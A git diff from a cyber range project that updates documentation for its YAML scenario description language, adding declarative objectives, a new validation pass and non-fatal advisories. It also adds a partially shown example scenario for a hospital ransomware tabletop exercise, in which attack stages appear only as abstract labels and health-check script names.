SDL](https://github.com/Open-Cyber-Range/SDL-parser) surface, preserves coverage across the OCR-derived sections, and extends that base with APTL's additional scenario concepts such as content, accounts, relationships, agents, and variables. It is intentionally its own SDL rather than a clone-level compatibility layer. +The APTL SDL is a YAML-based specification language for describing cyber range scenarios and experiments. It starts from the [Open Cyber Range SDL](https://github.com/Open-Cyber-Range/SDL-parser) surface, preserves coverage across the OCR-derived sections, and extends that base with APTL's additional scenario concepts such as content, accounts, relationships, agents, objectives, and variables. It is intentionally its own SDL rather than a clone-level compatibility layer. -The SDL describes *what a scenario is* — not how to deploy it. A separate backend binding layer (not yet implemented) translates SDL specifications into concrete infrastructure (Docker Compose, Terraform, cloud APIs). +The SDL describes *what the scenario and experiment mean* — not how to deploy them. A separate backend binding layer (not yet implemented) translates SDL specifications into concrete infrastructure (Docker Compose, Terraform, cloud APIs), and runtime adapters can evaluate SDL-declared conditions/objectives with concrete probes. ## Stable IDs, Variable Values @@ -72,12 +72,14 @@ accounts: ## Documentation -- [SDL Sections Reference](sections.md) — Complete reference for all 19 sections +- [SDL Sections Reference](sections.md) — Complete reference for all 20 sections - [Parser Behavior](parser.md) — Key normalization, shorthand expansion, SDL-only parsing - [Semantic Validation](validation.md) — Cross-reference checks and what the validator enforces - [Design Precedents](precedents.md) — Where each SDL element comes from - [Limitations & Future Work](limitations.md) — What the SDL cannot express yet - [Testing](testing.md) — How to run unit tests, stress tests, and fuzz tests +- [Complex Scenario Designs](complex-scenarios.md) — Up-front design briefs for large example exercises +- [Complex Scenario Authoring Notes](complex-scenario-authoring-notes.md) — Persistent issue log from encoding those designs into SDL ## Usage @@ -92,6 +94,10 @@ scenario = parse_sdl_file(Path("scenarios/my-scenario.yaml")) # Skip semantic validation (structural only) scenario = parse_sdl(yaml_string, skip_semantic_validation=True) + +# Non-fatal authoring advisories +for advisory in scenario.advisories: + print(advisory) ``` ## Backward Compatibility diff --git a/docs/sdl/limitations.md b/docs/sdl/limitations.md index 48995329a..01d63d3c9 100644 --- a/docs/sdl/limitations.md +++ b/docs/sdl/limitations.md @@ -27,7 +27,7 @@ These are things that *should* be expressible in the SDL but aren't yet: | Gap | Description | Candidate Precedent | |-----|-------------|-------------------| | **Module composition** | Import and compose scenario modules with version constraints and parameter overrides | Terraform modules, TOSCA type derivation | -| **CACAO-style workflow steps** | Action/condition/loop/parallel workflow semantics beyond OCR's timeline model | CACAO v2.0 workflow types | +| **Full CACAO-style workflow steps** | Objectives now bind actors, targets, windows, and success in the SDL, but branching/loop/parallel step graphs are still not first-class | CACAO v2.0 workflow types | | **Temporal operators** | STIX-style FOLLOWEDBY/WITHIN for time-ordered event assertions | STIX Patterning Language | | **Formal verification** | Pre-deployment verification that attack paths are reachable and defenses are consistent | VSDL SMT solver, CRACK Datalog | | **Agent framework bindings** | Gymnasium observation/action space definitions, reward function code | CybORG Gymnasium interface | diff --git a/docs/sdl/parser.md b/docs/sdl/parser.md index cd21d5454..abefcd4dd 100644 --- a/docs/sdl/parser.md +++ b/docs/sdl/parser.md @@ -78,7 +78,9 @@ Legacy APTL scenario YAMLs with a `metadata` block are intentionally rejected in 2. **Key normalization** — lowercase field keys, preserve user names 3. **Shorthand expansion** — source, infrastructure, roles, min-score, feature lists 4. **Pydantic construction** — structural validation (types, ranges, required fields) -5. **Semantic validation** — cross-reference checks plus variable-reference checks (20 passes, see [validation.md](validation.md)) +5. **Semantic validation** — cross-reference checks plus variable-reference checks (21 passes, see [validation.md](validation.md)) + +On success, the returned `Scenario` may still carry non-fatal advisories in `scenario.advisories` (for example, VM nodes without explicit `resources`). ## API diff --git a/docs/sdl/precedents.md b/docs/sdl/precedents.md index f09311a4b..676423dda 100644 --- a/docs/sdl/precedents.md +++ b/docs/sdl/precedents.md @@ -35,6 +35,7 @@ The 14 base sections start from the [OCR SDL](https://github.com/Open-Cyber-Rang | `Agent.allowed_subnets` | `AllowedSubnets:` | Network scope constraints | | `AssetValue` | `ConfidentialityValue`, `AvailabilityValue` | Extended to CIA triad | | `ACLRule` | `Subnets.NACLs` | Simplified from nested dict to flat rule list | +| `Objective.agent/actions` | Agent identity + action space | Objective actor binding and optional action subset validation | ### From CyRIS @@ -46,15 +47,6 @@ The 14 base sections start from the [OCR SDL](https://github.com/Open-Cyber-Rang | `Account` | `add_account`, `modify_account` | Added groups, password_strength, SPN, auth_method | -### From CALDERA / Atomic Red Team - - -| SDL Element | Source | What We Adapted | -| ------------------------- | ---------------------------------------- | ---------------------------- | -| `PlatformCommand` | CALDERA `platforms.{os}.{shell}.command` | Per-OS command variants | -| `PlatformCommand.cleanup` | Atomic Red Team `cleanup_command` | Teardown action per platform | - - ### From STIX 2.1 @@ -67,20 +59,20 @@ The 14 base sections start from the [OCR SDL](https://github.com/Open-Cyber-Rang ### From CACAO v2.0 -| SDL Element | CACAO Source | What We Adapted | -| --------------------- | ---------------------------------- | ------------------------------- | -| `Variable` | `playbook_variables` | Types, defaults, allowed_values | -| `${var}` substitution | CACAO variable substitution syntax | Deferred to instantiation time | +| SDL Element | CACAO Source | What We Adapted | +| --------------------- | ---------------------------------- | ---------------------------------------------------------------------- | +| `Variable` | `playbook_variables` | Types, defaults, allowed_values | +| `${var}` substitution | CACAO variable substitution syntax | Deferred to instantiation time | +| `Objective` | agent/target/workflow context | Declarative actor-target-window-success binding without runtime probes | ### From OCSF -| SDL Element | OCSF Source | What We Adapted | -| ------------------- | ----------------------------- | --------------------------------------------- | -| `OSFamily` enum | `Device.os.type_id` | Vocabulary for OS classification | -| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name | -| `ExpectedDetection` | Detection Finding event class | `product_name`, `severity_id`, `analytic_uid` | +| SDL Element | OCSF Source | What We Adapted | +| --------------- | ------------------- | -------------------------------- | +| `OSFamily` enum | `Device.os.type_id` | Vocabulary for OS classification | +| `ServicePort` | `NetworkEndpoint` | Simplified port/protocol/name | ### From Docker / Deployment Patterns diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md index ccdba7f8d..f8b945556 100644 --- a/docs/sdl/sections.md +++ b/docs/sdl/sections.md @@ -1,6 +1,6 @@ # SDL Sections Reference -A scenario is a YAML document with a required top-level `name` and up to 19 named sections. Aside from `name`, all sections are optional. +A scenario is a YAML document with a required top-level `name` and up to 20 named sections. Aside from `name`, all sections are optional. ## Section Overview @@ -23,7 +23,7 @@ A scenario is a YAML document with a required top-level `name` and up to 19 name | `scripts` | `dict[str, Script]` | Timed event sequences with human-readable durations | | `stories` | `dict[str, Story]` | Top-level exercise orchestration grouping scripts | -### Extended Sections (5 sections) +### Extended Sections (6 sections) | Section | Type | Purpose | Adapted From | |---------|------|---------|--------------| @@ -31,6 +31,7 @@ A scenario is a YAML document with a required top-level `name` and up to 19 name | `accounts` | `dict[str, Account]` | User accounts on nodes (AD users, SSH, DB users) | CyRIS `add_account` | | `relationships` | `dict[str, Relationship]` | Typed edges between elements (auth, trust, federation) | STIX Relationship SRO | | `agents` | `dict[str, Agent]` | Autonomous participants (actions, knowledge, scope) | CybORG Agents | +| `objectives` | `dict[str, Objective]` | Declarative experiment tasks binding actors, targets, windows, and success | OCR scoring + CACAO action/target/agent | | `variables` | `dict[str, Variable]` | Parameterization (types, defaults, substitution) | CACAO playbook_variables | --- @@ -77,10 +78,14 @@ nodes: **Switch** nodes are pure connectivity objects. They may define `type` and an optional `description`, but `source`, `resources`, `os`, `os_version`, `features`, `conditions`, `injects`, `vulnerabilities`, `roles`, `services`, and `asset_value` are rejected. +For **VM** nodes, `resources` remain optional at the SDL layer to preserve abstract specifications, but a VM without `resources` emits a non-fatal advisory because many deployment backends will need explicit sizing or well-defined defaults. + **Feature list shorthand:** `features: [nginx, php]` expands to `{nginx: "", php: ""}` (no role binding required). When `features`, `conditions`, or `injects` use the `{name: role}` form, the role must be declared in the node's `roles` map. +Concrete service bindings on a VM must be unique by `protocol` + `port`. Reusing `53/tcp` and `53/udp` is valid; declaring `443/tcp` twice on the same node is rejected. + --- ## Infrastructure @@ -384,6 +389,40 @@ agents: --- +## Objectives + +Declarative experiment semantics that bind actors, targets, timing, and success criteria in the same SDL. Inspired by OCR's in-spec assessment model and CACAO's separation of agent, target, and workflow context. + +```yaml +objectives: + red-initial-access: + agent: red-agent # or: entity: red-team + actions: [Scan, Exploit] # should be declared on the agent + targets: [web-server, app-to-db] # any named scenario elements except variables/objectives + success: + mode: all_of # all_of, any_of + goals: [pass-exercise] + metrics: [service-uptime] + window: + stories: [exercise] + scripts: [main-timeline] + events: [attack-wave] + + blue-reporting: + entity: blue-team + success: + metrics: [report-quality] + depends_on: [red-initial-access] +``` + +Every objective must declare exactly one actor: either `agent` or `entity`. `success` is required and must reference at least one declared `condition`, `metric`, `evaluation`, `tlo`, or `goal`. `targets` are optional, but when present they must resolve to named scenario elements. `window` is optional; when supplied, referenced stories/scripts/events must exist and remain internally consistent. + +`depends_on` is an ordering relation, not just commentary. It defines a partial order over objectives: downstream objectives are not considered ready until their predecessors have been satisfied. Objective dependency cycles are rejected. + +This section is intentionally declarative. It says who is trying to do what, against what, during which window, and how success is interpreted. It does **not** embed backend-specific probes such as Wazuh queries or command-output checks. + +--- + ## Variables Scenario parameterization. Adapted from CACAO playbook_variables. @@ -414,8 +453,11 @@ Think of variables as parameterizing **properties of declared objects**, not the --- -## Scoring: Exercise Assessment vs Automated Validation +## Scoring, Objectives, and Runtime Checks + +The SDL now carries both: -The SDL's scoring pipeline (conditions → metrics → evaluations → TLOs → goals) is for **exercise assessment** — human-evaluated team exercises like Locked Shields or CCDC where white team judges grade performance. +- the OCR-style scoring pipeline (`conditions → metrics → evaluations → TLOs → goals`) +- declarative objectives that bind actors, targets, windows, and success criteria -**Automated validation** (APTL's ObjectiveType with wazuh_alert/command_output/file_exists auto-evaluation) is a **runtime concern** that lives outside the SDL, in `aptl.core.objectives`. The SDL specifies *what success looks like* via the scoring pipeline; the runtime determines *whether it happened* via automated checks. +Backend-specific auto-validation mechanics still live outside the SDL. The runtime may use Wazuh queries, command probes, file checks, or other adapters to determine whether an SDL-declared objective or scoring condition has been satisfied, but those probe details are not the language itself. diff --git a/docs/sdl/testing.md b/docs/sdl/testing.md index 858098933..ab4c88782 100644 --- a/docs/sdl/testing.md +++ b/docs/sdl/testing.md @@ -23,6 +23,8 @@ pytest tests/test_sdl_stress.py tests/test_sdl_realworld.py -v - **test_sdl_stress.py** — Scenarios 1-13: OCR, CybORG, CALDERA, Atomic Red Team, CyRIS, KYPO, HTB, Enterprise AD, Cloud Hybrid, Exchange+data, CybORG+agents, AD+trust+federation - **test_sdl_realworld.py** — Scenarios 14-19: Incalmo Equifax, NICE Challenge 17, CCDC Burnsodyne, HTB Offshore-style, Metasploitable 2, Locked Shields IT/OT/SCADA +Objective coverage is exercised in the stress suites as well: the agent-heavy CybORG-derived scenarios and exercise-heavy scenarios now include declarative `objectives` so the section is tested against realistic combinations of agents, scoring, orchestration, and team structure rather than only unit tests. + Each scenario is tested for: 1. Parse + validate success 2. Infrastructure cross-reference integrity @@ -59,6 +61,23 @@ pytest tests/ -v pytest tests/ -m '' -v ``` +### Example Scenarios + +The `examples/` directory now contains curated large SDL files that are +meant to be reusable starting points rather than inline test-only +fixtures. They are loaded directly from disk by `tests/test_scenarios.py` +so they stay valid as real SDL artifacts: + +- `aptl-lab-topology.sdl.yaml` +- `hospital-ransomware-surgery-day.sdl.yaml` +- `satcom-release-poisoning.sdl.yaml` +- `port-authority-surge-response.sdl.yaml` + +The up-front design briefs for the new complex examples live in +[`docs/sdl/complex-scenarios.md`](complex-scenarios.md), and the running +authoring issue log lives in +[`docs/sdl/complex-scenario-authoring-notes.md`](complex-scenario-authoring-notes.md). + ## Adding New Scenarios To test a new scenario topology, add a YAML string constant to `test_sdl_stress.py` or `test_sdl_realworld.py` and add it to the `SCENARIOS` list. The parametrized tests will automatically pick it up. diff --git a/docs/sdl/validation.md b/docs/sdl/validation.md index 22b1b8384..ea8631965 100644 --- a/docs/sdl/validation.md +++ b/docs/sdl/validation.md @@ -1,6 +1,6 @@ # SDL Semantic Validation -The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 20 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. +The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 21 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. ## Validation Passes @@ -32,10 +32,19 @@ The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 20 nam | `verify_accounts` | Account nodes reference existing VM nodes. | | `verify_relationships` | Source and target resolve to any named element in any section, including variables, relationships, and content item names. | | `verify_agents` | Entity references resolve. Starting accounts and initial-knowledge accounts exist in accounts section. Allowed subnets and initial-knowledge subnets must resolve to switch-backed infrastructure entries. Initial-knowledge hosts must resolve to VM nodes. Initial-knowledge services exist in `nodes.*.services[].name`. | +| `verify_objectives` | Objective actors resolve (`agent` or `entity`). Objective actions must be declared by the referenced agent. Targets resolve to named scenario elements. Success criteria resolve to declared conditions/metrics/evaluations/TLOs/goals. Optional windows resolve to stories/scripts/events and must remain internally consistent. Objective dependencies must resolve and stay acyclic. | | `verify_variables` | Checks that full-value `${var}` placeholders reference declared variables. Structural validation of typed defaults and `allowed_values` still happens in the `Variable` model itself. | When a field contains an unresolved `${var}` placeholder, reference-oriented passes treat it as deferred rather than as a broken concrete reference. The validator still does not substitute values; it only checks that the placeholder names exist. +## Advisories + +Successful parses may still carry non-fatal advisories on `Scenario.advisories`. These are not validation errors and do not block parsing. + +Current advisory coverage: + +- VM nodes without `resources` are allowed, but emit an advisory because some deployment backends may not be able to instantiate them without explicit sizing defaults. + ## Error Reporting All passes run to completion. Errors are collected into a list and raised as a single `SDLValidationError`: @@ -51,4 +60,4 @@ except SDLValidationError as e: ## Cross-Reference Resolution -The `_all_named_elements()` method collects keys from all top-level sections for relationship validation, plus nested entity dot-paths and content item `name` values. This means a relationship can reference any node, feature, condition, vulnerability, infrastructure entry, metric, evaluation, TLO, goal, entity (including nested), inject, event, script, story, content entry, content item, account, agent, relationship, or variable. +The `_all_named_elements()` method collects keys from all top-level sections for relationship validation, plus nested entity dot-paths and content item `name` values. This means a relationship can reference any node, feature, condition, vulnerability, infrastructure entry, metric, evaluation, TLO, goal, entity (including nested), inject, event, script, story, content entry, content item, account, agent, objective, relationship, or variable. diff --git a/examples/hospital-ransomware-surgery-day.sdl.yaml b/examples/hospital-ransomware-surgery-day.sdl.yaml new file mode 100644 index 000000000..a0c715589 --- /dev/null +++ b/examples/hospital-ransomware-surgery-day.sdl.yaml @@ -0,0 +1,747 @@ +name: hospital-ransomware-surgery-day +description: > + Surgery-day ransomware exercise for a regional hospital. The scenario + combines phishing, vendor access abuse, identity pivoting, EHR/PACS + disruption, and backup-driven recovery under clinical time pressure. + +variables: + surgery_day_speed: + type: number + default: 1.0 + description: Story speed multiplier for the exercise day + recovery_window: + type: string + default: "8 hour" + description: Total duration of the recovery story + +nodes: + internet-edge: + type: Switch + description: Public ingress for email, VPN, and external access + vendor-segment: + type: Switch + description: Third-party support access zone + corp-it: + type: Switch + description: Corporate productivity and identity-adjacent services + clinical-it: + type: Switch + description: Clinical application tier + identity-net: + type: Switch + description: Active Directory and SSO infrastructure + security-net: + type: Switch + description: SIEM and response tooling network + backup-net: + type: Switch + description: Backup and recovery network + + mail-gateway: + type: VM + os: linux + source: secure-mail-gateway + resources: {ram: 2 gib, cpu: 1} + features: {mail-relay: mail-admin} + conditions: {mail-queue-healthy: mail-admin} + services: + - {port: 25, name: smtp-inbound} + - {port: 443, name: mail-admin-ui} + roles: {mail-admin: postfix} + + vpn-gateway: + type: VM + os: linux + source: vpn-concentrator + resources: {ram: 2 gib, cpu: 2} + features: {vpn-concentrator: vpn-admin} + conditions: + vpn-auth-healthy: vpn-admin + vendor-session-established: vpn-admin + services: + - {port: 443, name: vpn-portal} + - {port: 1194, protocol: udp, name: vpn-tunnel} + roles: + vpn-admin: + username: netops + entities: [hospital-blue.identity] + + ad01: + type: VM + os: windows + os_version: "Server 2022" + source: windows-ad + resources: {ram: 4 gib, cpu: 2} + features: + hospital-ad: domain-admin + hospital-adfs: federation-admin + conditions: + domain-auth-healthy: domain-admin + sso-healthy: federation-admin + services: + - {port: 53, protocol: udp, name: ad-dns} + - {port: 389, name: ad-ldap} + - {port: 443, name: adfs-https} + roles: + domain-admin: + username: Administrator + entities: [hospital-blue.identity] + federation-admin: + username: adfs_svc + + exchange01: + type: VM + os: windows + os_version: "Server 2019" + source: exchange-2019 + resources: {ram: 4 gib, cpu: 2} + features: {exchange-mailbox: exchange-admin} + conditions: + exchange-owa-healthy: exchange-admin + phish-mail-delivered: exchange-admin + services: + - {port: 443, name: exchange-owa} + - {port: 25, name: exchange-smtp} + roles: + exchange-admin: + username: exch_admin + entities: [hospital-blue.identity] + + ehr-frontend: + type: VM + os: linux + source: ehr-web-tier + resources: {ram: 6 gib, cpu: 4} + features: {ehr-service: ehr-admin} + conditions: + ehr-api-healthy: ehr-admin + clinical-disruption-observed: ehr-admin + services: + - {port: 443, name: ehr-https} + - {port: 8443, name: ehr-admin-api} + roles: + ehr-admin: + username: ehrsvc + entities: [hospital-blue.clinical-it] + asset_value: + confidentiality: critical + integrity: critical + availability: critical + + ehr-db: + type: VM + os: linux + source: postgres-cluster + resources: {ram: 8 gib, cpu: 4} + features: {sql-cluster: dba} + conditions: + ehr-db-healthy: dba + phi-staging-observed: dba + services: + - {port: 5432, name: ehr-postgres} + roles: + dba: + username: postgres + entities: [hospital-blue.clinical-it] + asset_value: + confidentiality: critical + integrity: critical + + pacs01: + type: VM + os: linux + source: pacs-archive + resources: {ram: 6 gib, cpu: 4} + features: {pacs-service: pacs-admin} + conditions: + pacs-archive-healthy: pacs-admin + radiology-workflow-delayed: pacs-admin + services: + - {port: 104, name: dicom-store} + - {port: 8444, name: pacs-web-ui} + roles: + pacs-admin: + username: pacs + entities: [hospital-blue.clinical-it] + asset_value: + confidentiality: high + integrity: high + availability: critical + + med-gateway: + type: VM + os: linux + source: medical-device-broker + resources: {ram: 2 gib, cpu: 2} + features: {device-broker: device-admin} + conditions: {device-mesh-healthy: device-admin} + services: + - {port: 8883, name: med-mqtt} + roles: + device-admin: + username: biomed + entities: [hospital-blue.clinical-it] + + backup-vault: + type: VM + os: linux + source: immutable-backup-appliance + resources: {ram: 4 gib, cpu: 2} + features: {immutable-backup: backup-admin} + conditions: + backup-catalog-intact: backup-admin + restore-runbook-ready: backup-admin + services: + - {port: 443, name: backup-api} + - {port: 2049, name: backup-nfs} + roles: + backup-admin: + username: backupops + entities: [hospital-blue.recovery] + + siem01: + type: VM + os: linux + source: siem-stack + resources: {ram: 8 gib, cpu: 4} + features: + siem-core: soc-admin + edr-sensor: soc-admin + conditions: + soc-pipeline-up: soc-admin + triage-case-submitted: soc-admin + services: + - {port: 5601, name: soc-ui} + - {port: 9200, name: soc-search} + roles: + soc-admin: + username: socadmin + entities: [hospital-blue.soc] + + vendor-jump: + type: VM + os: windows + os_version: "11" + source: vendor-workstation + resources: {ram: 2 gib, cpu: 2} + conditions: {vendor-jump-online: support} + services: + - {port: 3389, name: vendor-rdp} + roles: + support: + username: support + entities: [vendor-support] + +infrastructure: + internet-edge: + count: 1 + properties: {cidr: 10.70.0.0/24, gateway: 10.70.0.1} + vendor-segment: + count: 1 + properties: {cidr: 10.70.1.0/24, gateway: 10.70.1.1, internal: true} + acls: + - {direction: in, from_net: internet-edge, protocol: tcp, ports: [443], action: allow} + - {direction: in, from_net: clinical-it, action: deny} + corp-it: + count: 1 + properties: {cidr: 10.70.2.0/24, gateway: 10.70.2.1, internal: true} + acls: + - {direction: in, from_net: internet-edge, protocol: tcp, ports: [25, 443], action: allow} + - {direction: in, from_net: vendor-segment, protocol: tcp, ports: [443], action: allow} + clinical-it: + count: 1 + properties: {cidr: 10.70.3.0/24, gateway: 10.70.3.1, internal: true} + acls: + - {direction: in, from_net: corp-it, protocol: tcp, ports: [443, 8443, 8444], action: allow} + - {direction: in, from_net: vendor-segment, protocol: tcp, ports: [443], action: allow} + - {direction: in, from_net: internet-edge, action: deny} + identity-net: + count: 1 + properties: {cidr: 10.70.4.0/24, gateway: 10.70.4.1, internal: true} + acls: + - {direction: in, from_net: corp-it, protocol: tcp, ports: [53, 389, 443], action: allow} + - {direction: in, from_net: clinical-it, protocol: tcp, ports: [389, 443], action: allow} + security-net: + count: 1 + properties: {cidr: 10.70.5.0/24, gateway: 10.70.5.1, internal: true} + backup-net: + count: 1 + properties: {cidr: 10.70.6.0/24, gateway: 10.70.6.1, internal: true} + + mail-gateway: + count: 1 + links: [internet-edge, corp-it, security-net] + vpn-gateway: + count: 1 + links: [internet-edge, vendor-segment, corp-it] + ad01: + count: 1 + links: [identity-net, corp-it, clinical-it] + exchange01: + count: 1 + links: [corp-it, identity-net] + dependencies: [ad01] + ehr-frontend: + count: 1 + links: [clinical-it, identity-net] + dependencies: [ehr-db, ad01] + ehr-db: + count: 1 + links: [clinical-it, backup-net] + dependencies: [backup-vault] + pacs01: + count: 1 + links: [clinical-it, backup-net] + dependencies: [backup-vault] + med-gateway: + count: 1 + links: [clinical-it] + dependencies: [ehr-frontend] + backup-vault: + count: 1 + links: [backup-net, security-net] + siem01: + count: 1 + links: [security-net, corp-it] + vendor-jump: + count: 1 + links: [vendor-segment] + +features: + mail-relay: {type: Service, source: postfix-relay} + vpn-concentrator: {type: Service, source: openvpn-appliance} + hospital-ad: {type: Service, source: active-directory-domain-services} + hospital-adfs: {type: Service, source: adfs} + exchange-mailbox: {type: Service, source: exchange-mailbox-role} + ehr-service: {type: Service, source: epic-web} + sql-cluster: {type: Service, source: postgresql-ha} + pacs-service: {type: Service, source: orthanc-pacs} + device-broker: {type: Service, source: mqtt-medical-gateway} + immutable-backup: {type: Service, source: immutable-backup-vault} + siem-core: {type: Service, source: wazuh-elastic-stack} + edr-sensor: {type: Artifact, source: hospital-edr-agent, destination: /opt/edr} + +conditions: + mail-queue-healthy: + command: /usr/local/bin/check-mail-queue + interval: 30 + vpn-auth-healthy: + command: /usr/local/bin/check-vpn-auth + interval: 30 + vendor-session-established: + command: /usr/local/bin/check-vendor-session + interval: 30 + domain-auth-healthy: + command: /usr/local/bin/check-domain-auth + interval: 30 + sso-healthy: + command: /usr/local/bin/check-sso + interval: 30 + exchange-owa-healthy: + command: /usr/local/bin/check-exchange-owa + interval: 30 + phish-mail-delivered: + command: /usr/local/bin/check-phish-delivery + interval: 60 + ehr-api-healthy: + command: /usr/local/bin/check-ehr-api + interval: 15 + clinical-disruption-observed: + command: /usr/local/bin/check-clinical-disruption + interval: 30 + ehr-db-healthy: + command: /usr/local/bin/check-postgres + interval: 15 + phi-staging-observed: + command: /usr/local/bin/check-staged-phi + interval: 60 + pacs-archive-healthy: + command: /usr/local/bin/check-pacs + interval: 15 + radiology-workflow-delayed: + command: /usr/local/bin/check-radiology-delay + interval: 30 + device-mesh-healthy: + command: /usr/local/bin/check-device-mesh + interval: 30 + backup-catalog-intact: + command: /usr/local/bin/check-backup-catalog + interval: 30 + restore-runbook-ready: + command: /usr/local/bin/check-restore-runbook + interval: 60 + soc-pipeline-up: + command: /usr/local/bin/check-siem-ingest + interval: 30 + triage-case-submitted: + command: /usr/local/bin/check-triage-case + interval: 60 + vendor-jump-online: + command: /usr/local/bin/check-vendor-rdp + interval: 30 + +vulnerabilities: + macro-lure: + name: Phishing macro lure + description: Macro-enabled attachment delivers initial access to the vendor support path + technical: false + class: CWE-451 + vpn-portal-bypass: + name: VPN portal bypass + description: Vendor VPN policy allows credential reuse from unmanaged endpoints + technical: true + class: CWE-287 + kerberoastable-service: + name: Kerberoastable service credential + description: Weak service account password permits offline cracking + technical: true + class: CWE-521 + backup-share-exposure: + name: Backup share exposure + description: Restore staging area is writable from the clinical tier + technical: true + class: CWE-732 + +metrics: + blue-ehr-availability: + type: CONDITIONAL + max-score: 100 + condition: ehr-api-healthy + blue-pacs-availability: + type: CONDITIONAL + max-score: 100 + condition: pacs-archive-healthy + blue-backup-integrity: + type: CONDITIONAL + max-score: 100 + condition: backup-catalog-intact + blue-ir-report: + type: MANUAL + max-score: 50 + artifact: true + red-phi-staging: + type: CONDITIONAL + max-score: 100 + condition: phi-staging-observed + red-clinical-disruption: + type: CONDITIONAL + max-score: 100 + condition: clinical-disruption-observed + +evaluations: + blue-clinical-resilience: + metrics: [blue-ehr-availability, blue-pacs-availability, blue-backup-integrity, blue-ir-report] + min-score: 75 + red-ransom-impact: + metrics: [red-phi-staging, red-clinical-disruption] + min-score: {percentage: 75} + +tlos: + sustain-clinical-operations: + name: Sustain clinical operations + evaluation: blue-clinical-resilience + achieve-ransomware-impact: + name: Achieve ransomware impact + evaluation: red-ransom-impact + +goals: + hospital-blue-goal: + tlos: [sustain-clinical-operations] + ransom-crew-goal: + tlos: [achieve-ransomware-impact] + +entities: + hospital-blue: + name: Hospital Blue Team + role: Blue + mission: Keep patient care and core services available throughout the incident + tlos: [sustain-clinical-operations] + entities: + soc: + name: SOC + identity: + name: Identity Engineering + clinical-it: + name: Clinical IT + recovery: + name: Recovery Cell + vendor-support: + name: Vendor Support + role: Green + mission: Maintain third-party support connection for imaging systems + ransom-crew: + name: Ransom Crew + role: Red + mission: Steal PHI and disrupt radiology before the surgery window closes + white-cell: + name: White Cell + role: White + +injects: + vendor-advisory: + source: vendor-advisory-pdf + from_entity: white-cell + to_entities: [hospital-blue, vendor-support] + description: Advisory about intermittent VPN instability from the imaging vendor + phishing-wave: + source: payroll-lure-pack + from_entity: ransom-crew + to_entities: [hospital-blue, vendor-support] + description: Phishing lure targeting helpdesk and vendor support personnel + surgery-escalation: + source: operating-room-escalation + from_entity: white-cell + to_entities: [hospital-blue] + description: Surgeons report delayed radiology access and demand ETA + +events: + morning-advisory: + injects: [vendor-advisory] + phishing-delivery: + conditions: [phish-mail-delivered] + injects: [phishing-wave] + surgery-pressure: + conditions: [clinical-disruption-observed] + injects: [surgery-escalation] + +scripts: + pre-surgery: + start-time: 0 + end-time: 2 hour + speed: ${surgery_day_speed} + events: + morning-advisory: 10 min + phishing-delivery: 45 min + live-clinic: + start-time: 2 hour + end-time: 5 hour + speed: ${surgery_day_speed} + events: + surgery-pressure: 3 hour + recovery-window: + start-time: 5 hour + end-time: ${recovery_window} + speed: ${surgery_day_speed} + events: + surgery-pressure: 6 hour + +stories: + surgery-day: + speed: ${surgery_day_speed} + scripts: [pre-surgery, live-clinic, recovery-window] + +content: + phi-records: + type: dataset + target: ehr-db + format: sql + source: synthetic-phi-seed + sensitive: true + tags: [phi, patients] + radiology-images: + type: dataset + target: pacs01 + format: dicom + source: dicom-archive-seed + sensitive: true + tags: [radiology] + phishing-mailbox: + type: dataset + target: exchange01 + format: eml + sensitive: true + items: + - name: payroll-adjustment.eml + tags: [phishing, attachment] + description: Message crafted to lure helpdesk review + - name: vendor-followup.eml + tags: [phishing, vendor] + description: Message impersonating the imaging vendor + backup-runbook: + type: file + target: backup-vault + path: /srv/runbooks/hospital-recovery.md + text: "Recover EHR, PACS, and device broker in dependency order." + sensitive: true + vendor-session-profile: + type: file + target: vendor-jump + path: C:\\Support\\session.ini + text: "tenant=hospital\\naccess=vpn\\nprofile=imaging-support" + sensitive: true + +accounts: + nurse-user: + username: nurse.jane + node: exchange01 + groups: [Clinical] + password_strength: medium + mail: nurse.jane@hospital.local + surgeon-user: + username: surgeon.lee + node: ehr-frontend + groups: [Surgery] + password_strength: strong + helpdesk-user: + username: helpdesk + node: exchange01 + groups: [Helpdesk] + password_strength: medium + svc-ehr: + username: ehrsvc + node: ehr-frontend + groups: [AppServices] + password_strength: weak + spn: "HTTP/ehr.hospital.local" + svc-sql: + username: ehrsql + node: ehr-db + groups: [DBA] + password_strength: weak + spn: "POSTGRES/ehr-db.hospital.local" + backup-operator: + username: backupops + node: backup-vault + groups: [BackupAdmins] + password_strength: strong + vendor-tech: + username: support + node: vendor-jump + groups: [VendorSupport] + password_strength: medium + soc-analyst: + username: socanalyst + node: siem01 + groups: [SOC] + password_strength: strong + +relationships: + exchange-auths-ad: + type: authenticates_with + source: exchange-mailbox + target: hospital-ad + vpn-vendor-support-path: + type: authenticates_with + source: vendor-tech + target: vpn-concentrator + description: Vendor support uses VPN plus shared support credentials + ehr-sso-path: + type: federates_with + source: ehr-service + target: hospital-adfs + properties: {protocol: "SAML"} + ehr-to-database: + type: connects_to + source: ehr-service + target: sql-cluster + properties: {protocol: "tcp", port: "5432"} + pacs-sync-to-backup: + type: replicates_to + source: pacs-service + target: immutable-backup + med-gateway-depends-ehr: + type: depends_on + source: device-broker + target: ehr-service + backup-manages-ehr: + type: manages + source: immutable-backup + target: ehr-db + +agents: + red-initial: + entity: ransom-crew + actions: [Phish, AbuseVPN, Discover, StealCred] + initial_knowledge: + hosts: [mail-gateway, vpn-gateway, vendor-jump] + subnets: [internet-edge, vendor-segment] + services: [smtp-inbound, vpn-portal, vendor-rdp] + accounts: [vendor-tech] + allowed_subnets: [internet-edge, vendor-segment, corp-it] + reward_calculator: InitialAccessImpact + red-operator: + entity: ransom-crew + actions: [Pivot, Exfiltrate, Encrypt, Disable] + starting_accounts: [svc-ehr] + initial_knowledge: + hosts: [ehr-frontend, ehr-db, pacs01] + subnets: [clinical-it, backup-net] + services: [ehr-https, ehr-postgres, dicom-store] + accounts: [svc-sql, backup-operator] + allowed_subnets: [clinical-it, backup-net, identity-net] + reward_calculator: HybridImpactPwn + blue-soc-agent: + entity: hospital-blue.soc + actions: [Inspect, Triage, Isolate, Escalate] + starting_accounts: [soc-analyst] + initial_knowledge: + hosts: [siem01, mail-gateway, vpn-gateway] + subnets: [security-net, corp-it] + services: [soc-ui, mail-admin-ui, vpn-portal] + 